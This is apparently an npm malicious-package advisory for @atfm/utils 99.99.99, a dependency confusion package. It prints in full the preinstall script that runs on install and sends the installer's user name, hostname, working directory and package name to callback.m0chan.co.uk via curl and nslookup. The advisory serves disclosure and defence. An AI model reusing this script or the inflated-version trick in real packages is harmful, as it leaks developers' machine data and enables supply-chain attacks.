npm · Malicious package advisory
Malware@atfm/utils
GHSA-qmwf-4v39-cr83
Malicious code in @atfm/utils (npm)
Details
**Severity:** Critical **Affected versions:** `= 99.99.99` @atfm/[email protected] is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is: ``` b64=$(printf '%s' "$(whoami):$(hostname):$(pwd):$npm_package_name" | base64 -w0); pkgsub=$(printf '%s' "$npm_package_name" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' "$npm_package_name" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk ``` The same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm. --- Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/f561c611b1df1be5a6116381b4c54f7d8f9681e3/osv/malicious/npm/@atfm/utils/MAL-2026-18602.json)) **References:** - https://github.com/ossf/malicious-packages/blob/f561c611b1df1be5a6116381b4c54f7d8f9681e3/osv/malicious/npm/@atfm/utils/MAL-2026-18602.json - https://github.com/advisories/GHSA-qmwf-4v39-cr83
Compromised versions (1)
- = 99.99.99
Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.